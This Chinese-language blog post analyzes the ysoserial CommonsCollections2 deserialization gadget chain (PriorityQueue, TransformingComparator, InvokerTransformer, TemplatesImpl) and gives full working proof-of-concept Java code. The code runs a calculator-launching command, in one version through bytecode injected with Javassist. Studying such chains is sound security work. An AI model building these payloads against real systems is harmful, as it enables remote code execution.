CommonsCollections2 反序列化利用鏈分析
在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作為反序列化的入口
那麼就來看一下
java.util.PriorityQueue.java
的readObject
方法
PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
heapify()
這裡進行排序
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) //呼叫了 siftDown 方法 siftDown(i, (E) queue[i]); } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownComparable(int k, E x) { Comparable<? super E> key = (Comparable<? super E>)x; int half = size >>> 1; // loop while a non-leaf while (k < half) { int child = (k << 1) + 1; // assume left child is least Object c = queue[child]; int right = child + 1; if (right < size && ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0) c = queue[child = right]; if (key.compareTo((E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = key; } //comparator 不為空 進入到 siftDownUsingComparator private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
這裡我們重點看下 siftDownUsingComparator 中的comparator.compare((E) c, (E) queue[right])
這裡呼叫了 compare
,ctrl+右鍵 點進去
發現commons-collections4-4.0-sources.jar!/org/apache/commons/collections4/comparators/TransformingComparator.java
實現了此方法。
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
來到了 熟悉的 transformer.transform,那麼如果這裡 this.transformer 為 InvokerTransformer 物件即可來到
InvokerTransformer#transform
方法進行反射呼叫,與cc1類似。
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}
思路
通過上面我們可以得出呼叫順序
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transformat()
想要一步步按照上面順序執行,需要滿足幾個條件
-
(size >>> 1) - 1 >=0 // 即 size>= 2
-
comparator != null // 這裡 comparator 可控,可由PriorityQueue 的構造方法傳入
生成序列化物件
通過上面的初步分析可以得出下面程式碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
執行此程式碼發現雖然成功彈出計算器但是沒有生成序列化物件
定位到程式碼為 queue.add(2);
處。
這裡呼叫了
public boolean add(E e) {
return offer(e);
}
/**
* Inserts the specified element into this priority queue.
*
* @return {@code true} (as specified by {@link Queue#offer})
* @throws ClassCastException if the specified element cannot be
* compared with elements currently in this priority queue
* according to the priority queue's ordering
* @throws NullPointerException if the specified element is null
*/
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
private void siftUpComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
當add 第二個元素時,會 進入siftUp(i, e);
siftUpUsingComparator(k, x);
然後執行 comparator.compare(x, (E) e)
進入我們的反射鏈
然後當進入到 TransformingComparator#compare
的 this.decorated.compare(value1, value2)
時
由於 ProcessImpl 沒有實現Comparable而報錯,程式終止,就沒有執行後面生成序列化資料的程式碼。
繼續回過頭來看
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
既然
siftUpUsingComparator 程式會報錯。那麼是否可以讓他進入到 siftUpComparable,那麼就需要讓 comparator 為null
PriorityQueue queue = new PriorityQueue(2);
程式執行沒有出錯了,但是沒有彈出計算器。
如何讓add 不出錯,同時又彈出計算器呢? 這裡想到了反射,在add 2個元素結束之後,將 queue物件中的 comparator
設定成 transformingComparator
,這裡就需要用到反射了。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
最後得出 POC
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
也可換種寫法,例如
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] { "calc.exe" }
)
};
ChainedTransformer template = new ChainedTransformer(transformers);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
Field iArgs = transformer.getClass().getDeclaredField("iArgs");
iMethodName.setAccessible(true);
iParamTypes.setAccessible(true);
iArgs.setAccessible(true);
iMethodName.set(transformer,"transform");
iParamTypes.set(transformer,new Class[]{Object.class});
iArgs.set(transformer,new Object[]{null});
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{template,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在 ysoserial框架中,commons-collections2 引入了 TemplatesImpl 類來進行承載攻擊payload
在TemplatesImpl
存在一個 成員變數 _bytecodes
,當呼叫 TemplatesImpl#newTransformer
方法時,將會把
_bytecodes
例項化, 所以我們可以將惡意程式碼寫到類的無參建構函式或static程式碼塊中轉換為位元組碼賦值給_bytecodes
,然後找到一個位置呼叫newTransformer就能完成整個攻擊。
這裡需要用到 Javassist ,javassist是Java的一個庫,可以修改位元組碼。
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
通過javassist 構建如下程式碼
package deserialized;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Templates {
public static void main(String[] args) throws Exception{
template().newTransformer();
}
public static TemplatesImpl template() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
return templates;
}
}
根據上面一節的分析,我們只需要將 ChainedTransformer template = new ChainedTransformer(transformers);
改為用javassist生成的物件,然後把iMethodName
設定為newTransformer
就可完成整個攻擊鏈。
package deserialized;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_Templates {
public static void main(String[] args) throws Exception{
TemplatesImpl template = template();
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,new Object[]{template,2});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static TemplatesImpl template() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
return templates;
}
}
關於 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 裡面是如何執行到我們自定義的 _bytecodes
的具體流程可以參考:https://y4er.com/post/ysoserial-commonscollections-2/